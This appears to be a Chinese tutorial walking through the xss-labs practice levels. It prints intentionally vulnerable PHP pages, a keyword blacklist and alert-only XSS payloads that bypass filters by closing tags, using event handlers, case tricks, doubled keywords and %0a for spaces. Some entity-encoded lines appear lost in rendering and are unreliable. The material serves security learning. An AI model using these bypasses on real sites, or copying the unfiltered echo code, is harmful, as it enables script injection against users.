前面我们提到XSS,对于一个基本的XSS漏洞页面,它发生的原因往往是从用户输入的数据到输出没有有效的过滤,就比如下面的这个范例代码。
<?php
$a = $_GET['a'];
echo $a;
?>
对于这样毫无过滤的页面,我们可以使用一些简单的恶意脚本即可完成攻击,但是事实上,为了应付XSS的攻击,我们会采用黑名单技术对一些特殊字符进行过滤,包括一些敏感的函数。但是这样一来就会严重限制用户的输入,影响用户的体验。
% * + , – / ; < = > ^ | `
on\w+=
script
svg
iframe
link
总结:
1、最基本的攻击,我们看到这是用get的形式提交一个name值,然后显示到浏览器上,
我们输入【<script>alert('XSS')</script>】,即可使其弹窗
2、当输入代码后没有提示任何异常信息,我们的输入缘分不动的被抛出,可以看到浏览器并没有执行我们的代码,而是当做了字符串,我们猜测这是在属性位置,这里我们需要构造闭合来提前结束。
"><script>alert('XSS')</script>
3、这里我们输入一般的脚本语句,发现并不会被执行,换一种思路我们使用触发事件来进行弹窗,一般使用的事件函数大家可以百度一下,就相当于把弹窗的动作赋给事件函数,当浏览器执行事件时就会进行弹窗的动作。
'onclick='alert(1) //加上闭合
一般常用的事件格式:
<img src="" onerror="alert(/xss/)"/>
<iframe src="" onload="alert(1)"></iframe>
查看源码:
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
查看源码我们发现在输入input的value值那里,使用了htmlspecialchars函数,而这个函数会将一些字符进行转义,我们只要不使用这些字符即可。
& (AND) => &
" (双引号) => " (当ENT_NOQUOTES没有设置的时候)
' (单引号) => ' (当ENT_QUOTES设置)
< (小于号) => <
> (大于号) => >
4、这里我们输入<>,发现它会过滤掉<>,我们想办法不使用<>,接上一个思路我们使用事件来尝试。
"onclick="alert(1) //修改闭合方式
5、经过测试这里会将你的on字段和script字段替换为o_n和scr_ipt
相关代码如下:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
"><a href=javascript:alert(1)> //这里换用HTML的a标签来执行伪代码
6、进过测试,这里将我们第5个使用的href字段也进行了过滤,我们可以使用大小写形变来绕过;
"><sCript>alert('XSS')</script>
7、当我们输入script和on的字符时,系统直接将其吃掉,这里我们使用双写,让其吃掉一个来绕过防御,比如:
"><scriscriptpt>alert('XSS')</scrscriptipt>
8、这里要输入一个链接,输入后下面可以点击我们输入的链接在我们输入【"><script>alert('xss')</script>】后,检查网页的后台可以看到,浏览器将我们的script进行了形变。
javascript:alert('1') //由上面可以得,我们将t转换为HTML实体进行替换
9、这里我们使用一些特殊符号,会提示我们输入不合法,如下所示:
部分源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
通过源码我们可以看到,这里使用了strpos函数,来查找关键字,这就使得你的输入必须含有http://,再此基础上这里对双引号进行了替换,所以我们不能使用双引号。
javascript:alert('1')//http:// //这里先赋给脚本,后面在写http连接的格式来构成闭合,通过测试不能用双引号,这里我们用//代替了双引号
10、这一关不同于其他前几关,在这个页面没有任何输入窗口,通过查看浏览器的后台也发现页面将输入口进行了隐藏。
通过查看URL中的输入,我们发现浏览器上的页面输入的值和后台给系统传入的值并不一致,也就是说这里并不是我们的代码注入点,而是input函数里的某个参数。通过测试我们发现当输入有t_sort的值时,input可以传入数据
http://192.168.67.134/xss-labs/level10.php?keyword=haha&t_sort=123 //当输入的URL为这样时,参数才能够传入
而且本页面也没有输入的窗口,无法通过点击鼠标来提交参数,我们改变使用的事件;进过分析,我们的输入为如下所示
t_sort="onmousemove="javascript:alert('1') //该事件只需移动鼠标到隐藏的窗口即可完成提交。
先传入参数并在浏览器的后台修改type为空,这是页面会出现一个输入框,我们将鼠标移动至窗口即可完成。
注:对于这种类型的防御很简单,只需要重新写一个变量名做一个替换,即将传入参数的部分用其他变量名做一个替换;这样传参数的部分就不会被轻易的得知,恶意脚本也就不会被注入了。
11、绕过空格;通过源码我们可以看到,这里将空格也进行了转义,我们使用事件来进行脚本的注入。
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
<img%0asrc=1%0aonerror=alert(%27XSS%27)> //这里和SQL注入绕过的方法类似,禁止输入空格,我们可以使用能够分隔语句的转义字符即可,这里使用%0a来替换